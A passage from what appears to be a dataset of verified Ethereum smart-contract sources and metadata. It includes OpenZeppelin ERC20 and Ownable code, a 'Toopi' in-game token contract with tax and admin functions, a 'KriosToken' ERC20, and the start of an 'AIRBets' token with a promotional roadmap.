* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | 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| v0.8.12+commit.f00d7308 | true | 200 | 000000000000000000000000a82f5f34956f3e618c161d0dbd5b3323b18f0733 | Default | MIT | false | ipfs://f7566819de7dc39d82e197693bb899bfde091c287e513762c5b4cdef3c9bedff |
||
Toopi | @openzeppelin/contracts/access/Ownable.sol | 0xf99fd242b551e9cee272320a0448b98444353e31 | Solidity | // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
} | 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| v0.8.12+commit.f00d7308 | true | 200 | 000000000000000000000000a82f5f34956f3e618c161d0dbd5b3323b18f0733 | Default | MIT | false | ipfs://f7566819de7dc39d82e197693bb899bfde091c287e513762c5b4cdef3c9bedff |
||
Toopi | toopi.sol | 0xf99fd242b551e9cee272320a0448b98444353e31 | Solidity | // OpenZeppelin Contracts v4.3.2 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.7;
/**
* @dev Interface for checking active staked balance of a user.
*/
interface IToopiSource {
function getAccumulatedAmount(address staker) external view returns (uint256);
}
/**
* @dev Implementation of the {IERC20} interface.
*/
contract Toopi is ERC20, ReentrancyGuard, Ownable {
IToopiSource public ToopiSource;
uint256 public MAX_SUPPLY;
uint256 public constant MAX_TAX_VALUE = 100;
uint256 public spendTaxAmount;
uint256 public withdrawTaxAmount;
uint256 public bribesDistributed;
uint256 public activeTaxCollectedAmount;
bool public tokenCapSet;
bool public withdrawTaxCollectionStopped;
bool public spendTaxCollectionStopped;
bool public isPaused;
bool public isDepositPaused;
bool public isWithdrawPaused;
bool public isTransferPaused;
mapping (address => bool) private _isAuthorised;
address[] public authorisedLog;
mapping(address => uint256) public depositedAmount;
mapping(address => uint256) public spentAmount;
modifier onlyAuthorised {
require(_isAuthorised[_msgSender()], "Not Authorised");
_;
}
modifier whenNotPaused {
require(!isPaused, "Transfers paused!");
_;
}
event Withdraw(address indexed userAddress, uint256 amount, uint256 tax);
event Deposit(address indexed userAddress, uint256 amount);
event DepositFor(address indexed caller, address indexed userAddress, uint256 amount);
event Spend(address indexed caller, address indexed userAddress, uint256 amount, uint256 tax);
event ClaimTax(address indexed caller, address indexed userAddress, uint256 amount);
event InternalTransfer(address indexed from, address indexed to, uint256 amount);
constructor(address _source) ERC20("TOOPI", "TOOPI") {
_isAuthorised[_msgSender()] = true;
isPaused = true;
isTransferPaused = true;
withdrawTaxAmount = 25;
spendTaxAmount = 25;
ToopiSource = IToopiSource(_source);
}
/**
* @dev Returnes current spendable balance of a specific user. This balance can be spent by user for other collections without
* withdrawal to ERC-20 Toopi OR can be withdrawn to ERC-20 Toopi.
*/
function getUserBalance(address user) public view returns (uint256) {
return (ToopiSource.getAccumulatedAmount(user) + depositedAmount[user] - spentAmount[user]);
}
/**
* @dev Function to deposit ERC-20 Toopi to the game balance.
*/
function depositToopi(uint256 amount) public nonReentrant whenNotPaused {
require(!isDepositPaused, "Deposit Paused");
require(balanceOf(_msgSender()) >= amount, "Insufficient balance");
_burn(_msgSender(), amount);
depositedAmount[_msgSender()] += amount;
emit Deposit(
_msgSender(),
amount
);
}
/**
* @dev Function to withdraw game Toopi to ERC-20 Toopi.
*/
function withdrawToopi(uint256 amount) public nonReentrant whenNotPaused {
require(!isWithdrawPaused, "Withdraw Paused");
require(getUserBalance(_msgSender()) >= amount, "Insufficient balance");
uint256 tax = withdrawTaxCollectionStopped ? 0 : (amount * withdrawTaxAmount) / 100;
spentAmount[_msgSender()] += amount;
activeTaxCollectedAmount += tax;
_mint(_msgSender(), (amount - tax));
emit Withdraw(
_msgSender(),
amount,
tax
);
}
/**
* @dev Function to transfer game Toopi from one account to another.
*/
function transferToopi(address to, uint256 amount) public nonReentrant whenNotPaused {
require(!isTransferPaused, "Transfer Paused");
require(getUserBalance(_msgSender()) >= amount, "Insufficient balance");
spentAmount[_msgSender()] += amount;
depositedAmount[to] += amount;
emit InternalTransfer(
_msgSender(),
to,
amount
);
}
/**
* @dev Function to spend user balance. Can be called by other authorised contracts. To be used for internal purchases of other NFTs, etc.
*/
function spendToopi(address user, uint256 amount) external onlyAuthorised nonReentrant {
require(getUserBalance(user) >= amount, "Insufficient balance");
uint256 tax = spendTaxCollectionStopped ? 0 : (amount * spendTaxAmount) / 100;
spentAmount[user] += amount;
activeTaxCollectedAmount += tax;
emit Spend(
_msgSender(),
user,
amount,
tax
);
}
/**
* @dev Function to deposit tokens to a user balance. Can be only called by an authorised contracts.
*/
function depositToopiFor(address user, uint256 amount) public onlyAuthorised nonReentrant {
_depositToopiFor(user, amount);
}
/**
* @dev Function to tokens to the user balances. Can be only called by an authorised users.
*/
function distributeToopi(address[] memory user, uint256[] memory amount) public onlyAuthorised nonReentrant {
require(user.length == amount.length, "Wrong arrays passed");
for (uint256 i; i < user.length; i++) {
_depositToopiFor(user[i], amount[i]);
}
}
function _depositToopiFor(address user, uint256 amount) internal {
require(user != address(0), "Deposit to 0 address");
depositedAmount[user] += amount;
emit DepositFor(
_msgSender(),
user,
amount
);
}
/**
* @dev Function to mint tokens to a user balance. Can be only called by an authorised contracts.
*/
function mintFor(address user, uint256 amount) external onlyAuthorised nonReentrant {
if (tokenCapSet) require(totalSupply() + amount <= MAX_SUPPLY, "You try to mint more than max supply");
_mint(user, amount);
}
/**
* @dev Function to claim tokens from the tax accumulated pot. Can be only called by an authorised contracts.
*/
function claimToopiTax(address user, uint256 amount) public onlyAuthorised nonReentrant {
require(activeTaxCollectedAmount >= amount, "Insufficiend tax balance");
activeTaxCollectedAmount -= amount;
depositedAmount[user] += amount;
bribesDistributed += amount;
emit ClaimTax(
_msgSender(),
user,
amount
);
}
/**
* @dev Function returns maxSupply set by admin. By default returns error (Max supply is not set).
*/
function getMaxSupply() public view returns (uint256) {
require(tokenCapSet, "Max supply is not set");
return MAX_SUPPLY;
}
/*
ADMIN FUNCTIONS
*/
/**
* @dev Function allows admin to set total supply of Toopi token.
*/
function setTokenCap(uint256 tokenCup) public onlyOwner {
require(totalSupply() < tokenCup, "Value is smaller than the number of existing tokens");
require(!tokenCapSet, "Token cap has been already set");
MAX_SUPPLY = tokenCup;
}
/**
* @dev Function allows admin add authorised address. The function also logs what addresses were authorised for transparancy.
*/
function authorise(address addressToAuth) public onlyOwner {
_isAuthorised[addressToAuth] = true;
authorisedLog.push(addressToAuth);
}
/**
* @dev Function allows admin add unauthorised address.
*/
function unauthorise(address addressToUnAuth) public onlyOwner {
_isAuthorised[addressToUnAuth] = false;
}
/**
* @dev Function allows admin update the address of staking address.
*/
function changeToopiSourceContract(address _source) public onlyOwner {
ToopiSource = IToopiSource(_source);
authorise(_source);
}
/**
* @dev Function allows admin to update limmit of tax on withdraw.
*/
function updateWithdrawTaxAmount(uint256 _taxAmount) public onlyOwner {
require(_taxAmount < MAX_TAX_VALUE, "Wrong value passed");
withdrawTaxAmount = _taxAmount;
}
/**
* @dev Function allows admin to update tax amount on spend.
*/
function updateSpendTaxAmount(uint256 _taxAmount) public onlyOwner {
require(_taxAmount < MAX_TAX_VALUE, "Wrong value passed");
spendTaxAmount = _taxAmount;
}
/**
* @dev Function allows admin to stop tax collection on withdraw.
*/
function stopTaxCollectionOnWithdraw(bool _stop) public onlyOwner {
withdrawTaxCollectionStopped = _stop;
}
/**
* @dev Function allows admin to stop tax collection on spend.
*/
function stopTaxCollectionOnSpend(bool _stop) public onlyOwner {
spendTaxCollectionStopped = _stop;
}
/**
* @dev Function allows admin to pause all in game Toopi transfactions.
*/
function pauseGameToopi(bool _pause) public onlyOwner {
isPaused = _pause;
}
/**
* @dev Function allows admin to pause in game Toopi transfers.
*/
function pauseTransfers(bool _pause) public onlyOwner {
isTransferPaused = _pause;
}
/**
* @dev Function allows admin to pause in game Toopi withdraw.
*/
function pauseWithdraw(bool _pause) public onlyOwner {
isWithdrawPaused = _pause;
}
/**
* @dev Function allows admin to pause in game Toopi deposit.
*/
function pauseDeposits(bool _pause) public onlyOwner {
isDepositPaused = _pause;
}
/**
* @dev Function allows admin to withdraw ETH accidentally dropped to the contract.
*/
function rescue() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
} | 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IToopiSource","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"activeTaxCollectedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addressToAuth","type":"address"}],"name":"authorise","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"authorisedLog","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bribesDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_source","type":"address"}],"name":"changeToopiSourceContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claimToopiTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"depositToopi","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"depositToopiFor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"depositedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"user","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"distributeToopi","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getMaxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"getUserBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isDepositPaused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isPaused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTransferPaused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isWithdrawPaused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mintFor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_pause","type":"bool"}],"name":"pauseDeposits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_pause","type":"bool"}],"name":"pauseGameToopi","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_pause","type":"bool"}],"name":"pauseTransfers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_pause","type":"bool"}],"name":"pauseWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenCup","type":"uint256"}],"name":"setTokenCap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"spendTaxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"spendTaxCollectionStopped","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"spendToopi","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"spentAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_stop","type":"bool"}],"name":"stopTaxCollectionOnSpend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_stop","type":"bool"}],"name":"stopTaxCollectionOnWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenCapSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferToopi","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addressToUnAuth","type":"address"}],"name":"unauthorise","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_taxAmount","type":"uint256"}],"name":"updateSpendTaxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_taxAmount","type":"uint256"}],"name":"updateWithdrawTaxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawTaxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawTaxCollectionStopped","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawToopi","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.12+commit.f00d7308 | true | 200 | 000000000000000000000000a82f5f34956f3e618c161d0dbd5b3323b18f0733 | Default | MIT | false | ipfs://f7566819de7dc39d82e197693bb899bfde091c287e513762c5b4cdef3c9bedff |
||
KriosToken | KriosToken.sol | 0x42566cfefc853c232117eba4413e45782a72715d | Solidity | pragma solidity 0.5.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _to != address(this));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _to != address(this));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, bytes calldata _extraData) external;
}
contract KriosToken is StandardToken, Ownable {
string public constant name = "Krios Token";
string public constant symbol = "KRI";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 500000000 * (10 ** uint256(decimals));
// Constructors
constructor () public {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
emit Transfer(address(0), msg.sender, initialSupply);
}
function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData)
external
returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, _extraData);
return true;
}
}
function transferAnyERC20Token(address _tokenAddress, address _to, uint _amount) public onlyOwner {
ERC20(_tokenAddress).transfer(_to, _amount);
}
} | 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| v0.5.12+commit.7709ece9 | false | 200 | Default | MIT | false | bzzr://190a0d134e09e0e3a01173cffe620845a513af19e9fed3dcbbe75b301c4bda44 |
|||
AIRBets | AIRBets.sol | 0xc74038120350aaa0d7b0ae45337e99005dbc8ba2 | Solidity | pragma solidity ^0.8.4;
// ----------------------------------------------------------------------------
// SPDX-License-Identifier: MIT
// 'AIRBets' token contract
//
// Symbol : AIRBets
// Name : AIRBets
// Twitter : https://twitter.com/air_bets
// Fee : 1% fee auto distribute to all holders
//
// RoadMap : Let Rat Race
// Uniswap listing
// Holder 1000
// Audit smart contract audit
// $5M market cap
//
// Phase 2: Crown
// Price Tracker listings: CoinGecko and CoinMarketCap
// Exchange More DEX & CEX listings
// Initial marketing strategy execution
// Expanding& Developing
// Full website redesign
// Grow hodlers to 10,000
// $10M market cap
//
// Phase 3: Macau
// Partnership execution
// DeFi Market Place
// Grow hodlers to 25,000
// ----------------------------------------------------------------------------
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
/**
* IERC20.sol
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* SafeMath.sol
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
